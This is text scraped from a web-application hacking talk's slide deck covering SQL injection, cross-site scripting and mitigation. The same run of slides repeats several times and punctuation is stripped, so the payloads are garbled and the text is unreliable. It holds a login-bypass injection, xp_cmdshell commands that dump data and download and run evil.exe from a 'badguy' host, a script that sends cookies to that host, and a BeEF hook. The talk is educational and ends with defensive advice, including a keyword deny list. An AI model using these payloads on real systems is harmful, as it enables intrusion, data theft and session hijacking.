FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 23: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extracting Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

23

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 24: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 1 Break the Application

bull In order to test an application we want to

provide input it is not expecting

bull Our SQL query

SELECT

FROM users

WHERE username = AND

password =

24

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 25: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Step 1 Break the Application

bull This produces a database error

bull [Unclosed quotation mark after the character

string and password =

25

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

password =

28

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = jsmith-- AND

password =

29

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

30

Step 3 Extract Data

bull Methods for extraction

bull Manual

bull Individual queries (tedious)

bull ldquoBackuprdquo methods

bull Automated tools

bull sqlmap

bull Havij

31

Step 3 Extract Data

bull sqlmap

bull Automatic SQL injection and database

takeover tool

bull Extract database table data

bull Execute arbitrary database commands

bull Create out-of-band communication channels

32

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

33

Step 4 Command Injection

bull Microsoft SQL Server contains an

extended procedure known as

ldquoXP_CMDSHELLrdquo

bull Operating-system command shell

bull Usually administrative-level privileges

34

Step 4 Command Injection

We can use XP_CMDSHELL to run commands

on the database server

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL dir gt

cwebappdirtxt-- AND

password =

35

Step 4 Command Injection

We can use XP_CMDSHELL to dump all the

data

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bcp SELECT

FROM insecure_appusers queryout

cwebappdumptxt ndashT -c-- AND

password =

36

Step 4 Command Injection

XP_CMDSHELL could also be used to transfer

files

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL bitsadmin

transfer n httpbadguyevilexe

cevilexe-- AND

password =

37

Step 4 Command Injection

Establish an outgoing interactive session

SELECT

FROM users

WHERE username = EXEC

MASTERXP_CMDSHELL cmd c

evilexe-- AND

password =

38

OMG What have we done

bull Found an SQL injection vulnerability

bull Bypassed password security

bull Logged into multiple user accounts

bull Extracted raw data

bull Executed arbitrary commands

bull Recovered system passwords

39

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

40

What is Cross-Site Scripting

bull A cross-site scripting (XSS) vulnerability

allows an attacker to execute malicious

client-side code in a userrsquos browser on an

otherwise trusted site

bull XSS attacks the users of a web application

bull Two primary types ndash Reflected amp Stored

bull Around since 1999hellip thatrsquos 15 years

41

Reflected XSS

Legitimate Site

1 Link containing XSS

2 C

licks

on

Lin

kAttacker Site

3 R

en

de

red

XSS

4 XSS Paylo

ad Execute

d

VictimAttacker

42

Stored XSS

1 Embeded XSS

2 B

row

sed

to

Exp

loit

Attacker Site

3 R

en

de

red

XSS

4 XSS Payload Executed

VictimAttacker

Legitimate Site

43

Whatrsquos the Risk

bull Stolen user sessions

bull Malware installation

bull Keystroke loggers

bull Privilege escalation

bull Social engineering

44

What Causes XSS

bull Unvalidated and unsanitized user input

bull Improperly encoded output

45

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

46

Step 1 Break the Application

bull Let us search (as our developers

intended us to)

httpgoodguyterm=alice

47

Step 1 Break the Application

bull Let us get a little mischievous with our

search

httpgoodguyterm=ltfont size=10

color=redgtHowdyltfontgt

48

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

49

Step 2 Run Arbitrary Scripts

bull Let us see if we can execute some

JavaScript

httpgoodguyterm=

ltscriptgtalert(documentcookie)ltscriptgt

50

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

51

Step 3 Steal a Session

bull Steal the userrsquos session by sending the

cookie back to our server

httpgoodguyterm=ltscriptgt$get(httpbadg

uy+documentcookie)ltscriptgt

52

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Step 1 Break the Application

bull Step 2 Run Arbitrary Scripts

bull Step 3 Steal a Session

bull Step 4 Control the Browser

bull Mitigation

53

Step 4 Control the Browser

bull What could we do if we controlled the

browser

bull Install malware

bull Keystroke logging

bull Social engineering

bull Malicious redirects

54

Step 4 Control the Browser

bull Got BeEF ndash The Browser Exploitation

Framework

bull Man-in-the-browser

bull Keystoke logging

bull Browser exploitation with Metasploit

bull Social engineering

55

Step 4 Control the Browser

bull Hook the userrsquos browser so we can

control it

httpgoodguyterm=

ltscript src=ldquohttpbadguyhookjsgtltscriptgt

56

OMG What have we done

bull Executed arbitrary scripts

bull Ran nasty code to steal a session

bull Took control of a browser

57

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Cross-Site Scripting

bull Mitigation

58

Mitigation Against Attacks

bull Input validation

bull Check input for validity

bull Only accept good input

bull Reject bad input

59

hellipSpecifically Against SQLi

bull Use parameterized queries

bull Use stored procedures

bull Validate amp properly escape user input

bull For example username=OMalley becomes

OMalley or OMalley

bull However not all SQL injection uses quotes

bull userid=4 DROP TABLE usersmdash

60

hellipSpecifically Against XSS

bull Context encode user input

bull HTML - escape entities

bull For example search=ltscriptgt becomes

lsquoampltscriptampgt

bull However not all cross-site scripting uses

brackets

bull onMouseOver=dosomethingnasty

61

Mitigation Against Attacks (cont)

bull Accept only good input

bull Check that the character set matches what is

expected

bull Example [A-Za-z0-9]

bull Remember that some languages can interpret

numbers as strings

bull Example if($id gt 2) where $id = ldquo4 DROP TABLE

users--rdquo

62

Mitigation Against Attacks (cont)

bull Reject bad input when appropriate

bull SQLi - select insert update delete drop

union -- xp_cmdshell etc

bull XSS - ltscriptgt onMouseOver onMouseClick

javascript iframe etc

bull davidroperexamplecom Oops

63

Mitigation Against Attacks (cont)

httpxkcdcom327

64

General Mitigation

bull Education

bull Research the OWASP Top Ten

bull Try OWASP WebGoat yourself to learn how

flaws work

bull Learn to spot bad code amp bad design

65

General Mitigation (cont)

bull Reviews

bull Have expert code review and penetration testing

performed periodically

bull Technology (helps but doesnrsquot replace good

code)

bull Web Application Firewalls (WAF)

bull Intrusion Prevention Systems (IPS)

bull Intrusion Detection Systems (IDS)

bull File Integrity Monitoring (FIM)

66

Mitigation by Role

bull Customers

bull Demand web applications that are secure

bull Make it part of product purchase criteria

67

Mitigation by Role (cont)

bull Developers

bull Take responsibility for securing your code

bull Update your skillsets

bull Software Development Organizations

bull Start with security requirements covering

OWASP Top Ten

bull Use secure coding guidelines

68

Mitigation by Role (cont)

bull Managers

bull Split your security budget between network

and application

bull Make security part of developer performance

reviews

69

References

bull The Open Web Application Security Project

(OWASP)

wwwowasporg

bull Ponemon Institute (Research)

wwwponemonorglibrary

70

www403labscom

877403LABS

Thank You

Zach Grace

zgrace403labscom

Page 26: Cracking the Perimeter via Web Application Hacking · • Web Application Security and OWASP • SQL Injection • Cross-Site Scripting • Step 1: Break the Application • Step

Agenda

bull Web Application Security and OWASP

bull SQL Injection

bull Step 1 Break the Application

bull Step 2 Bypass Authentication

bull Step 3 Extract Data

bull Step 4 Command Injection

bull Cross-Site Scripting

bull Mitigation

26

Step 2 Bypass Authentication

Revisit our SQL query

SELECT

FROM users

WHERE username = $username AND

password = $password

27

Step 2 Bypass Authentication

Rewrite our SQL query

SELECT

FROM users

WHERE username = OR 1=1-- AND

